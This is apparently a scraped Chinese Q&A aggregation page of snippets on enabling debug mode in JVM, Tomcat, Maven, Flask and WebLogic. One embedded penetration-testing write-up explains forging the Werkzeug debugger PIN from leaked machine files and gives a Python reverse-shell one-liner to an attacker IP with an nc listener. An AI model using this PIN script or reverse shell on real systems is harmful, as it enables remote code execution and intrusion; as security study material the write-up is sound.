精华内容
下载资源
问答
  • 【JVM】开启Debug模式
    2019-10-08 08:17:30

    Jdk1.7之前:

     -Xdebug -Xrunjdwp:server=y,transport=dt_socket,address=8000,suspend=n 

    jdk1.7之后:

    -agentlib:jdwp=transport=dt_socket,address=8000,server=y,suspend=n

     

    没有 address 则随机产生一个端口

    转载于:https://www.cnblogs.com/t0000/articles/9429530.html

    更多相关内容
  • 主要介绍了python开启debug模式的方法,本文通过实例代码给大家介绍的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下
  • Spring Boot开启debug模式

    2018-09-30 02:37:22
    使用IDEA开发环境时,采用Spring Boot框架开启debug模式的流程
  • 最近在使用pycharm进行python建站开发的过程当中,发现不能打开debug模式,在网上找了一些资料,说什么勾选FLASC_DEBUG选项框,但是这仅限于之后的新版本,不适合于5.0版本。 由是如此,那怎么设置呢? 同样是...

           最近在使用pycharm进行python建站开发的过程当中,发现不能打开debug 模式,在网上找了一些资料,说什么勾选FLASC_DEBUG选项框,但是这仅限于之后的新版本,不适合于5.0版本。

    shezhi

     由是如此,那怎么设置呢?

    同样是点击app configurations 中的Eenvironment variables配置

     新建环境变量FLASK_EVN,值为development,再次运行程序,debug mode就开启了

    展开全文
  • Maven开启Debug模式

    千次阅读 2020-03-01 18:23:36
    使用maven启动springboot,为了方便查找问题,需要打印更多的DEBUG日志,这个时候在maven启动命令后加上 -X 就可以了: spring-boot:run -X

    使用maven启动springboot,为了方便查找问题,需要打印更多的DEBUG日志,这个时候在maven启动命令后加上 -X 就可以了:

    spring-boot:run -X

     

    展开全文
  • 渗透系列之flask框架开启debug模式漏洞分析 参考文章: https://zhuanlan.zhihu.com/p/32138231 https://xz.aliyun.com/t/2553#toc-2 ...

    渗透系列之flask框架开启debug模式漏洞分析

    参考文章:

    https://zhuanlan.zhihu.com/p/32138231

    https://xz.aliyun.com/t/2553#toc-2

    https://www.dazhuanlan.com/2019/12/05/5de8c90ee03dd/?__cf_chl_jschl_tk__=6297c338db1048cd0af15fe375956340bbce6156-1601270282-0-AYlx_7583zw_1g7Q7rHBo6L-5t4evM5Lw4yjLav_1CEFCn2PNq0qWkKcsYK95Fw5Lsvt88XATE26KexsrJSlK2wtY9TIZuC7abxIwJwGkWA-rxP2nUqdchaz6qWeVQ_ucUTxsM0ft5q69yMs6_c13NWXUy5Jb7DyUQ-CSKNuICy02DrQsVA46eUtnxT0XWHA0twB2tYuqlf1i-ZNGgzgatTZvV69ltExMrWUWx8IGM7jmF6I2FihCIJ1-tsebIL0w6xG_jZFNeS-UJVk3C8iozHdWkde0sARVUJJ4SNlUE63B5yxxDwpb6Ukl_OAseGo9w

     

    (一)渗透案例引发的研究思路

    1. 日常渗透发现进入到一处系统的后台,随意点击了后台的一处功能,触发了该系统的debug,如下图所示:

     

     

    2、点击报错代码显示的黑框框(输入框),弹出一个需要输入pin码的输入框,如下图所示:

    3、经过查阅flask的debug模式的相关资料,发现我们如果成功获取pin码,可以在报错页面执行任意代码,但是我们现在无法获取pin码,那我们在本地开启一个简单的flask应用看看pin码到底是怎么产生的。

     

     

    Flask代码如下:

    from flask import Flask

     

    app = Flask(__name__)

    @app.route('/')

    def hello_word():

        return None

    if __name__ == '__main__':

    app.run(host='0.0.0.0', port=9003, debug=True)

     

     

    经过测试,同一台机器上多次启动同一个flask应用时,这个生成的pin码是固定的,是由一些固定的值进行生成的,不如直接去看flask源码是如何写的:

    用pycharm在app.run下好断点,开启debug模式

    由于代码写的还是相当官方的,很容易就能找到生成pin码的部分,代码所在的路径为: C:\Python27\Lib\site-packages\werkzeug\debug,其中关键的函数get_pin_and_cookie_name()如下:

     

     def get_pin_and_cookie_name(app):
        """Given an application object this returns a semi-stable 9 digit pin   code and a random key.  The hope is that this is stable between  restarts to not make debugging particularly frustrating.  If the pinwas forcefully disabled this returns `None`.  Second item in the resulting tuple is the cookie name for remembering. """
        pin = os.environ.get('WERKZEUG_DEBUG_PIN')
        rv = None
        num = None
     
        # Pin was explicitly disabled
        if pin == 'off':
            return None, None
     
        # Pin was provided explicitly
        if pin is not None and pin.replace('-', '').isdigit():
            # If there are separators in the pin, return it directly
            if '-' in pin:
                rv = pin
            else:
                num = pin
     
        modname = getattr(app, '__module__',
                          getattr(app.__class__, '__module__'))
     
        try:
            # `getpass.getuser()` imports the `pwd` module,
            # which does not exist in the Google App Engine sandbox.
            username = getpass.getuser()
        except ImportError:
            username = None
     
        mod = sys.modules.get(modname)
     
        # This information only exists to make the cookie unique on the
        # computer, not as a security feature.
        probably_public_bits = [
            username,
            modname,
            getattr(app, '__name__', getattr(app.__class__, '__name__')),
            getattr(mod, '__file__', None),
        ]
     
        # This information is here to make it harder for an attacker to
        # guess the cookie name.  They are unlikely to be contained anywhere
        # within the unauthenticated debug page.
        private_bits = [
            str(uuid.getnode()),
            get_machine_id(),
        ]
    
        h = hashlib.md5()
        for bit in chain(probably_public_bits, private_bits):
            if not bit:
                continue
            if isinstance(bit, text_type):
                bit = bit.encode('utf-8')
            h.update(bit)
        h.update(b'cookiesalt')
     
        cookie_name = '__wzd' + h.hexdigest()[:20]
     
        # If we need to generate a pin we salt it a bit more so that we don't
        # end up with the same value and generate out 9 digits
        if num is None:
            h.update(b'pinsalt')
            num = ('%09d' % int(h.hexdigest(), 16))[:9]
     
        # Format the pincode in groups of digits for easier remembering if
        # we don't have a result yet.
        if rv is None:
            for group_size in 5, 4, 3:
                if len(num) % group_size == 0:
                    rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                                  for x in range(0, len(num), group_size))
                    break
            else:
                rv = num
     
        return rv, cookie_name

     

    returnrv变量就是生成的pin

    最主要的就是这一段哈希部分:

    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, text_type):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    连接了两个列表,然后循环里面的值做哈希

    这两个列表的定义:

    probably_public_bits = [
            username,
            modname,
            getattr(app, '__name__', getattr(app.__class__, '__name__')),
            getattr(mod, '__file__', None),
        ]
    
        private_bits = [
            str(uuid.getnode()),
            get_machine_id(), ]

    1.probably_public_bits包含4个字段,分别为username,modname,getattr(app, “name“, app.class.name),getattr(mod, “file“, None),其中username对应的值为当前主机的用户名,modname的值为’flask.app’getattr(app, “name“, app.class.name)对应的值为’Flask’,getattr(mod, “file“, None)对应的值为app包的绝对路径。

    2.private_bits包含两个字段,分别为str(uuid.getnode())get_machine_id(),其中str(uuid.getnode())为网卡mac地址的十进制值,在linux系统下得到存储位置为/sys/class/net/ens33(对应网卡)/addressget_machine_id()的值为当前机器唯一的机器码,在linux系统下的存储位置为/etc/machine-id

    当我们获取到这六个参数的值时,就可以通过脚本推算出生成的pin码,然后进行任意命令执行。

    (二):漏洞利用

    1、flask debug模式无开启pin码验证

    可直接进入交互式的python shell 进行命令执行。

     

    2、flask debug模式开启了pin码验证

    1、一般都是需要通过任意文件读取读取到生成pin码private_bits()所需要的2个参数值。

    2、通过debug报错代码获取到public_bits()所需要的4个参数值。

    3、然后使用以下payload计算出pin:

    import hashlib
    from itertools import chain
    
    probably_public_bits = [
        'Administrator',# username
        'flask.app',# modname
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
        'C:\Users\Administrator\PycharmProjects\securritystudy\venv\lib\site-packages\flask\app.py' # getattr(mod, '__file__', None),
    
    ]
    private_bits = [
        '106611682152170',# str(uuid.getnode()),  /sys/class/net/ens33/address
        b'6893142a-ab05-4293-86f9-89df10a4361b'# get_machine_id(), /etc/machine-id
    ]
    h = hashlib.md5()
    
    for bit in chain(probably_public_bits, private_bits):
    
        if not bit:
    
            continue
    
        if isinstance(bit, str):
    
            bit = bit.encode('utf-8')
    
        h.update(bit)
    
    h.update(b'cookiesalt')
    cookie_name = '__wzd' + h.hexdigest()[:20]
    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]
    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num
    print(rv)
    

    如下图所示:

     

    1、然后就可以进入交互式的python shell进行命令执行。

     

    比如使用python进行反弹shell。

    步骤如下:

    1. 在攻击机(A)上开启一个nc监听端口。

       nc -lvvp 8888

         2、在debug的console页面上输入python反弹shell的代码进行反弹到攻击机上。

    代码如下:

    import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

     

     

    (三)总结

    1、正常flask开启了debug模式,如果没有开启pin码进行校验,可直接获取python交互式shell进行命令执行

     

    2、flask开启了debug模式,但是开启了pin码校验,如果对应的flask应用没有任意文件读取的漏洞是无法获取到生成pin所需要的6个参数值的,无法获取交互式python shell。

     

    3、flask开启了debug模式,且开启了pin码校验,且对应的应用存在任意文件读取的漏洞,可以通过文件读取获取到usernamemodnamegetattr(app, '__name__', getattr(app.__class__, '__name__'))getattr(mod, '__file__', None)str(uuid.getnode()),  /sys/class/net/ens33/addressget_machine_id(), /etc/machine-id,从而通过脚本生成pin码,然后获取python交互式shell,进行命令执行.

    展开全文
  • Tomcat开启debug模式

    千次阅读 2019-06-12 20:17:50
    修改catalina.sh: 在文件开头,加入以下内容: export JPDA_OPTS=-agentlib:jdwp=transport=dt_...其中 8000是debug监听端口 如果不用8000端口,比如9000,还需修改这catalina.sh的JPDA_ADDRESS变量(这个是tomcat...
  • postgres开启DEBUG模式

    2013-04-09 13:57:09
    提供在Windows和Linux下如如何配置postgres的debug
  • 经常调试UI自动化代码时遇到一个问题就是每次运行代码都要从第一步开始,这样会浪费大量的时间,开启debug模式将会很好地解决这个问题,可以从上一次结束的位置重新开始运行代码; 具体操作方法如下: 开启浏览器...
  • 开启debug模式的三种方法 开启debug模式的功能: 一是当程序出现问题的时候,可以在页面中看到出错信息和出错位置;二是只要修改了项目中的python文件,程序会自动加载,不需要手动重启服务器。 开启debug模式的方法...
  • 1.默认为debug打开模式,默认ro.debuggable=1(默认允许debug) build/make/core/main.mk ifeq (true,$(strip $(enable_target_debugging))) INCLUDE_TEST_OTA_KEYS := true else # !enable_target_debugging #...
  • { "name": "Python: Django", "type": "python", "request": "launch", "program": "${workspaceFolder}\\manage.py", "args": [ "runserver", "--noreload...
  • Tomcat开启Debug模式

    2018-06-21 15:49:00
    在bin/catalina.sh中添加如下行,将tomcat重启即可。 注:以下标红的7002需将其改成对象的tomcat端口即可! JAVA_OPTS="-Xms4g -Xmx4g -XX:PermSize=512m -XX:MaxPermSize=1024m -Djava.awt.headless=true -Xdebug ...
  • WebLogic开启debug模式

    千次阅读 2018-07-02 15:00:52
    一、找到自己所创建的域二、编辑改文件 修改内容如下: 1.首先注释 2.... ( set debugFlag=false) else ( set debugFlag=true)三、eclipse中配置debug模式 ps:idea上相同设置并没起作用。...
  • [root@hadoop001 conf]# vi log4j.properties [root@hadoop001 conf]# pwd ...注意Spark Debug调优,需要开启Debug模式,查看运行日志即可 Set everything to be logged to the console log4j.rootCategory=DEBUG, con...
  • python开启debug模式

    千次阅读 2018-11-26 10:33:58
    import requests session = requests.session() import logging import requests logging.basicConfig(level=logging.DEBUG, format='%(asctime)s %(filename)s[line:%(lineno)d] %(leveln...
  • PHP开启debug模式显示错误报错

    千次阅读 2018-11-21 18:06:14
    打开报错 ini_set("display_errors", "On");...error_reporting(E_ALL | E_STRICT);...开启debug,并且设置环境为开发模式。 # 以YII为例 # defined('YII_DEBUG')...
  • 主要介绍了解决tomcat在Debug模式下无法启动问题,运行环境在eclipse,JDK1.6,tomcat6.0上,具体问题解决方法大家参考下本
  • 首先打开这个: 勾选flask_debug: 可以开启debug模式了!
  • 企业微信端开启debug模式

    千次阅读 2022-01-04 17:44:39
    1、按快捷键 ctrl + alt + shift + D,进入调试模式 2、页面上点右键,Show Dev Tools,即可调试了
  • PyCharm2018如何开启debug模式

    千次阅读 2018-09-12 09:22:00
    1、如题,PyCharm2018如何开启debug模式 不知道有没小伙伴发现,PyCharm2018运行flask项目的时候,明明在app.run(debug=True)里写了debug=True,但是运行的时候依然显示的是Debug mode: off。如图。 image.png ...
  • health_service_provider模块用的是tomcat插件,tomcat7插件2.1版本不支持JDK1.8,tomcat7插件2.2版本支持JDK1.8
  • 调用config 接口的时候传入参数 debug: true 可以开启debug模式,页面会alert出错误信息。以下为常见错误及解决方法: 1、 invalid url domain当前页面所在域名与使用的appid没有绑定,请确认正确填写绑定的域名,...
  • 附件一【function_debug.rar】: function_debug.rar (5.32 KB)一、�0�2 首先开启debug模式得有两个步骤:�0�2�0�2�0�2�0�2 1、必须在source/function 下上传function_debug.php(见附件一 function_debug....
  • flask开启debug调试模式

    2021-09-14 22:18:11
    在使用pycharm2020版本或更高时,开启debug模式有时候会失败。图片如下: 解决办法: 1. 尝试在启用对象之后设置debug的默认 2.有可能上面的方法还是不成功的…(笔者2021版的pycharm,运行过了…没啥用。)...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 115,867
精华内容 46,346
关键字:

开启debug模式